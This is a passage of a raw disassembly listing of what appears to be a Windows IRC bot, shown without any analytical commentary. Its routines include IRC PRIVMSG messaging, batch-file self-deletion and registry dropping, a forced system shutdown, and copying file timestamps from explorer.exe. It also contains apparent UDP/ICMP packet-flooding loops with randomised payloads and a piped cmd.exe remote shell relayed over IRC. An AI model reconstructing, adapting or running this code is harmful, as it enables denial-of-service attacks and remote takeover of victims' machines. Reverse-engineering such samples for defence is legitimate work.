pop ebx
leave
retn
sub_409B42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C08 proc near ; CODE XREF: sub_40CE55+3B4Ep
; sub_40CE55+4755p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_421088
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_4210CC
lea eax, [ebp+var_100]
loc_409C41: ; CODE XREF: sub_409C08+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_409C4D
cmp cl, 9
jnz short loc_409C50
loc_409C4D: ; CODE XREF: sub_409C08+3Ej
inc eax
jmp short loc_409C41
; ---------------------------------------------------------------------------
loc_409C50: ; CODE XREF: sub_409C08+43j
; sub_409C08+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_409C6A
mov cl, [eax]
cmp cl, 2Eh
jz short loc_409C50
cmp cl, 21h
jl short loc_409C50
loc_409C6A: ; CODE XREF: sub_409C08+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_43A4E8
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_415A6A
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_409C08 endp
; =============== S U B R O U T I N E =======================================
sub_409C92 proc near ; CODE XREF: sub_40CE55+5185p
push esi
push 0
call dword_43A388
test eax, eax
jz short loc_409CC9
push 1
call dword_43A3A8
mov esi, eax
test esi, esi
jz short loc_409CC9
push edi
push esi
call dword_4210D4
push esi
mov edi, eax
call dword_4210D0
call dword_43A40C
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_409CC9: ; CODE XREF: sub_409C92+Bj
; sub_409C92+19j
xor eax, eax
pop esi
retn
sub_409C92 endp
; =============== S U B R O U T I N E =======================================
sub_409CCD proc near ; CODE XREF: sub_40CE55+4545p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call dword_43A3C4
mov ebp, eax
cmp ebp, esi
jz short loc_409D49
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_4210E0
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_4210DC
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_4154E7
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_43A414
push esi
push 1
push 4C9h
push ebp
call dword_43A414
push ebx
call dword_4210D8
push edi
call dword_42106C
push 1
pop eax
pop ebx
jmp short loc_409D4B
; ---------------------------------------------------------------------------
loc_409D49: ; CODE XREF: sub_409CCD+16j
xor eax, eax
loc_409D4B: ; CODE XREF: sub_409CCD+7Aj
pop edi
pop esi
pop ebp
retn
sub_409CCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409D4F proc near ; CODE XREF: sub_40C682+21Cp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_43A474
test eax, eax
jz short loc_409DEE
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_421078
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_409DEE
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_4210E8
push ebx
mov ebx, dword_42106C
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_409DEE
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_4210E4
push esi
call ebx
loc_409DEE: ; CODE XREF: sub_409D4F+2Aj
; sub_409D4F+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_409D4F endp
; =============== S U B R O U T I N E =======================================
sub_409DF3 proc near ; CODE XREF: sub_40CE55+13B6p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_413D67
pop ecx
pop ecx
push 50005h
push 6
call dword_43A300
neg eax
sbb eax, eax
neg eax
retn
sub_409DF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409E15 proc near ; CODE XREF: sub_40BCEF+472p
; sub_40CE55+5405p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_42C198, esi
push edi
jz short loc_409E39
cmp dword_43A488, esi
jnz short loc_409E39
push esi
call sub_40B3AE
pop ecx
loc_409E39: ; CODE XREF: sub_409E15+13j
; sub_409E15+1Bj
call sub_41515C
lea eax, [ebp+var_764]
push eax
push 400h
call dword_4210F8
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_4154E7
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_421078
mov edi, eax
cmp edi, esi
jbe loc_409F99
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_4154E7
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_421070
push edi
call dword_42106C
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_415570
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_415570
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_438FDC
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_4210C8
push eax
call dword_42107C
lea eax, [ebp+var_15C]
push eax
call dword_421094
cmp eax, 0FFFFFFFFh
jz short loc_409F41
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_4210F4
loc_409F41: ; CODE XREF: sub_409E15+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_4154E7
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_4210F0
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_4210EC
loc_409F99: ; CODE XREF: sub_409E15+72j
pop edi
pop esi
leave
retn
sub_409E15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409F9D proc near ; CODE XREF: sub_40C682+31p
var_1860 = byte ptr -1860h
var_158 = byte ptr -158h
var_58 = byte ptr -58h
var_48 = dword ptr -48h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 1860h
call sub_415D70
push esi
push edi
mov ecx, 5C1h
mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
lea edi, [ebp+var_1860]
lea eax, [ebp+var_158]
rep movsd
movsw
push offset aCA1c_bat ; "c:\\a1c.bat"
push eax
movsb
call sub_4154E7
pop ecx
xor esi, esi
pop ecx
lea eax, [ebp+var_158]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_421078
mov edi, eax
cmp edi, esi
jbe short loc_40A057
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_1860]
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1860]
push eax
push edi
call dword_421070
push edi
call dword_42106C
push 44h
lea eax, [ebp+var_48]
pop edi
push edi
push esi
push eax
call sub_415570
add esp, 0Ch
lea ecx, [ebp+var_58]
mov [ebp+var_48], edi
mov [ebp+var_18], si
push 1
pop eax
push ecx
lea ecx, [ebp+var_48]
push ecx
push esi
push esi
push 28h
mov [ebp+var_1C], eax
push eax
push esi
lea eax, [ebp+var_158]
push esi
push eax
push esi
call dword_4210EC
loc_40A057: ; CODE XREF: sub_409F9D+55j
pop edi
pop esi
leave
retn
sub_409F9D endp
; =============== S U B R O U T I N E =======================================
sub_40A05B proc near ; CODE XREF: sub_4013E9+7p
; sub_401B7C+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43A3F8
cmp eax, 0FFFFFFFFh
jnz short locret_40A083
push [esp+arg_0]
call dword_43A43C
test eax, eax
jnz short loc_40A07C
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40A07C: ; CODE XREF: sub_40A05B+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40A083: ; CODE XREF: sub_40A05B+Dj
retn
sub_40A05B endp
; =============== S U B R O U T I N E =======================================
sub_40A084 proc near ; CODE XREF: sub_40CB75+D6p
mov ecx, dword_43A2E0
xor eax, eax
test ecx, ecx
jz short locret_40A092
call ecx
locret_40A092: ; CODE XREF: sub_40A084+Aj
retn
sub_40A084 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A093 proc near ; CODE XREF: sub_40CE55:loc_411F8Cp
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_43A434
mov ecx, eax
sub ecx, edi
jz loc_40A159
sub ecx, 32h
jz loc_40A152
sub ecx, 48h
jz short loc_40A0F3
sub ecx, 6Eh
jz short loc_40A0EC
loc_40A0D5: ; CODE XREF: sub_40A093+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42B428
push eax
call sub_4154E7
add esp, 0Ch
jmp short loc_40A133
; ---------------------------------------------------------------------------
loc_40A0EC: ; CODE XREF: sub_40A093+40j
push offset unk_42B3F0
jmp short loc_40A125
; ---------------------------------------------------------------------------
loc_40A0F3: ; CODE XREF: sub_40A093+3Bj
push [ebp+var_8]
call sub_415DC9
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_415570
add esp, 10h
cmp esi, edi
jz short loc_40A120
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_43A434
cmp eax, edi
jz short loc_40A159
jmp short loc_40A0D5
; ---------------------------------------------------------------------------
loc_40A120: ; CODE XREF: sub_40A093+79j
push offset unk_42B3AC
loc_40A125: ; CODE XREF: sub_40A093+5Ej
; sub_40A093+C4j
lea eax, [ebp+var_88]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_40A133: ; CODE XREF: sub_40A093+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_40B16D
pop ecx
loc_40A143: ; CODE XREF: sub_40A093+C8j
; sub_40A093+DCj
push esi
call sub_415E3D
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A152: ; CODE XREF: sub_40A093+32j
push offset unk_42B368
jmp short loc_40A125
; ---------------------------------------------------------------------------
loc_40A159: ; CODE XREF: sub_40A093+29j
; sub_40A093+89j
cmp [esi], edi
jbe short loc_40A143
lea ebx, [esi+4]
loc_40A160: ; CODE XREF: sub_40A093+DAj
push ebx
call dword_43A430
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A160
jmp short loc_40A143
sub_40A093 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A171 proc near ; CODE XREF: sub_401447+243p
; sub_401BD6+268p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_43A35C
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_43A6EC
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_4154E7
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40A171 endp
; =============== S U B R O U T I N E =======================================
sub_40A1CA proc near ; CODE XREF: sub_4010B2+24Cp
; sub_4010B2+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40A1F3
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40A1E6: ; CODE XREF: sub_40A1CA+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40A1E6
pop edi
jmp short loc_40A1F7
; ---------------------------------------------------------------------------
loc_40A1F3: ; CODE XREF: sub_40A1CA+Aj
mov edx, [esp+4+arg_0]
loc_40A1F7: ; CODE XREF: sub_40A1CA+27j
test esi, esi
pop esi
jz short loc_40A201
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40A201: ; CODE XREF: sub_40A1CA+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40A1CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A217 proc near ; DATA XREF: sub_40CE55+2D34o
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_415D70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_43A344
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_43A3F8
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40A272
lea eax, [ebp+var_C0]
push eax
call dword_43A43C
cmp eax, ebx
jz short loc_40A278
loc_40A272: ; CODE XREF: sub_40A217+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_40A2D5
loc_40A278: ; CODE XREF: sub_40A217+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42B4AC
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40A2B8
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_412D4C
add esp, 14h
loc_40A2B8: ; CODE XREF: sub_40A217+7Fj
lea eax, [ebp+var_344]
push eax
call sub_40B16D
push [ebp+var_30]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048
loc_40A2D5: ; CODE XREF: sub_40A217+5Fj
cmp eax, ebx
jz short loc_40A2E5
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_40A2E8
; ---------------------------------------------------------------------------
loc_40A2E5: ; CODE XREF: sub_40A217+C0j
mov [ebp+var_4], esi
loc_40A2E8: ; CODE XREF: sub_40A217+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_415570
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_40A308
mov [ebp+var_3C], eax
loc_40A308: ; CODE XREF: sub_40A217+ECj
cmp [ebp+var_38], edi
jge short loc_40A310
mov [ebp+var_38], edi
loc_40A310: ; CODE XREF: sub_40A217+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_40A33D
loc_40A317: ; CODE XREF: sub_40A217+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_43A2DC
inc esi
cmp esi, [ebp+var_40]
jl short loc_40A317
loc_40A33D: ; CODE XREF: sub_40A217+FEj
push [ebp+arg_0]
call dword_43A470
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42B46C
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40A386
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_412D4C
add esp, 14h
loc_40A386: ; CODE XREF: sub_40A217+14Dj
lea eax, [ebp+var_344]
push eax
call sub_40B16D
push [ebp+var_30]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048
sub_40A217 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A3A3 proc near ; DATA XREF: sub_40CE55+2E7Bo
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_415D70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call dword_42104C
push eax
call sub_415539
pop ecx
push 11h
push 2
push 2
call dword_43A438
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_43A3F8
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_40A488
lea eax, [ebp+var_B0]
push eax
call dword_43A43C
cmp eax, edi
jnz short loc_40A481
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42B528
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40A464
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_412D4C
add esp, 14h
loc_40A464: ; CODE XREF: sub_40A3A3+9Fj
lea eax, [ebp+var_334]
push eax
call sub_40B16D
push [ebp+var_20]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048
loc_40A481: ; CODE XREF: sub_40A3A3+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_40A48B
; ---------------------------------------------------------------------------
loc_40A488: ; CODE XREF: sub_40A3A3+6Ej
lea eax, [ebp+arg_0]
loc_40A48B: ; CODE XREF: sub_40A3A3+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_40A4A6
call sub_415543
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40A4A9
; ---------------------------------------------------------------------------
loc_40A4A6: ; CODE XREF: sub_40A3A3+F0j
push [ebp+var_24]
loc_40A4A9: ; CODE XREF: sub_40A3A3+101j
call dword_43A3B8
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_40A4BB
mov [ebp+var_24], esi
loc_40A4BB: ; CODE XREF: sub_40A3A3+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_40A4C8
mov [ebp+var_24], eax
loc_40A4C8: ; CODE XREF: sub_40A3A3+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_40A4DC
mov [ebp+var_28], esi
loc_40A4DC: ; CODE XREF: sub_40A3A3+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_40A4FD
loc_40A4E3: ; CODE XREF: sub_40A3A3+158j
call sub_415543
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_40A4E3
loc_40A4FD: ; CODE XREF: sub_40A3A3+13Ej
; sub_40A3A3+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_40A55C
push 0Bh
pop esi
loc_40A50A: ; CODE XREF: sub_40A3A3+197j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_415543
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_43A41C
push [ebp+var_28]
call dword_421060
dec esi
jnz short loc_40A50A
cmp [ebp+var_24], edi
jnz short loc_40A4FD
call sub_415543
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_43A3B8
mov [ebp+var_E], ax
jmp short loc_40A4FD
; ---------------------------------------------------------------------------
loc_40A55C: ; CODE XREF: sub_40A3A3+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42B4E8
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40A59C
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_412D4C
add esp, 14h
loc_40A59C: ; CODE XREF: sub_40A3A3+1D7j
lea eax, [ebp+var_334]
push eax
call sub_40B16D
push [ebp+var_20]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048
sub_40A3A3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40A5B9 proc near ; CODE XREF: sub_40A5E9+2Ap
; sub_40A621+7Ep ...
mov eax, dword_43A704
push esi
mov esi, dword_42106C
cmp eax, 0FFFFFFFFh
jz short loc_40A5CD
push eax
call esi
loc_40A5CD: ; CODE XREF: sub_40A5B9+Fj
mov eax, dword_43A70C
cmp eax, 0FFFFFFFFh
jz short loc_40A5DA
push eax
call esi
loc_40A5DA: ; CODE XREF: sub_40A5B9+1Cj
mov eax, dword_43A700
cmp eax, 0FFFFFFFFh
jz short loc_40A5E7
push eax
call esi
loc_40A5E7: ; CODE XREF: sub_40A5B9+29j
pop esi
retn
sub_40A5B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5E9 proc near ; CODE XREF: sub_40B551+14Ap
; sub_40CE55+4507p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_415CF0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_43A708
call dword_421070
test eax, eax
jnz short loc_40A61C
call sub_40A5B9
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40A61C: ; CODE XREF: sub_40A5E9+28j
push 1
pop eax
leave
retn
sub_40A5E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A621 proc near ; CODE XREF: sub_40A6A8+D3p
; sub_40A6A8+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_438FDC
push [ebp+arg_4]
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40A664
push 7D0h
call dword_421060
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_4154E7
add esp, 10h
jmp short loc_40A67B
; ---------------------------------------------------------------------------
loc_40A664: ; CODE XREF: sub_40A621+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
add esp, 0Ch
loc_40A67B: ; CODE XREF: sub_40A621+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43A408
test eax, eax
jg short loc_40A6A4
call sub_40A5B9
loc_40A6A4: ; CODE XREF: sub_40A621+7Cj
xor eax, eax
leave
retn
sub_40A621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6A8 proc near ; DATA XREF: sub_40A7FD+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_43A710
loc_40A6C0: ; CODE XREF: sub_40A6A8+79j
; sub_40A6A8+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_43A704
call dword_4210FC
test eax, eax
jz loc_40A78E
cmp [ebp+var_4], edi
jnz short loc_40A723
lea eax, [ebp+var_8]
push eax
push dword_43A700
call dword_421000
test eax, eax
jz short loc_40A719
cmp [ebp+var_8], 103h
jnz loc_40A7B2
loc_40A719: ; CODE XREF: sub_40A6A8+62j
push 0Ah
call dword_421060
jmp short loc_40A6C0
; ---------------------------------------------------------------------------
loc_40A723: ; CODE XREF: sub_40A6A8+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_40A73A
loc_40A72A: ; CODE XREF: sub_40A6A8+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_40A788
inc eax
cmp eax, [ebp+var_4]
jb short loc_40A72A
loc_40A73A: ; CODE XREF: sub_40A6A8+80j
mov [ebp+var_4], esi
loc_40A73D: ; CODE XREF: sub_40A6A8+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_43A704
call dword_421068
test eax, eax
jz short loc_40A7DA
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_43A744
call sub_40A621
add esp, 0Ch
jmp loc_40A6C0
; ---------------------------------------------------------------------------
loc_40A788: ; CODE XREF: sub_40A6A8+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_40A73D
; ---------------------------------------------------------------------------
loc_40A78E: ; CODE XREF: sub_40A6A8+45j
push offset dword_42B5F4
push ebx
push dword_43A744
call sub_40A621
push [ebp+arg_0]
call sub_4152AF
add esp, 10h
push 1
call dword_421048
loc_40A7B2: ; CODE XREF: sub_40A6A8+6Bj
call sub_40A5B9
push offset dword_42B5B8
push ebx
push dword_43A744
call sub_40A621
push [ebp+arg_0]
call sub_4152AF
add esp, 10h
push edi
call dword_421048
loc_40A7DA: ; CODE XREF: sub_40A6A8+C3j
push offset dword_42B574
push ebx
push dword_43A744
call sub_40A621
push [ebp+arg_0]
call sub_4152AF
add esp, 10h
push edi
call dword_421048
sub_40A6A8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7FD proc near ; CODE XREF: sub_40B551+99p
; sub_40CE55+51BFp
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_40A5B9
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_43A474
test eax, eax
jz loc_40A8F7
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_421108
push esi
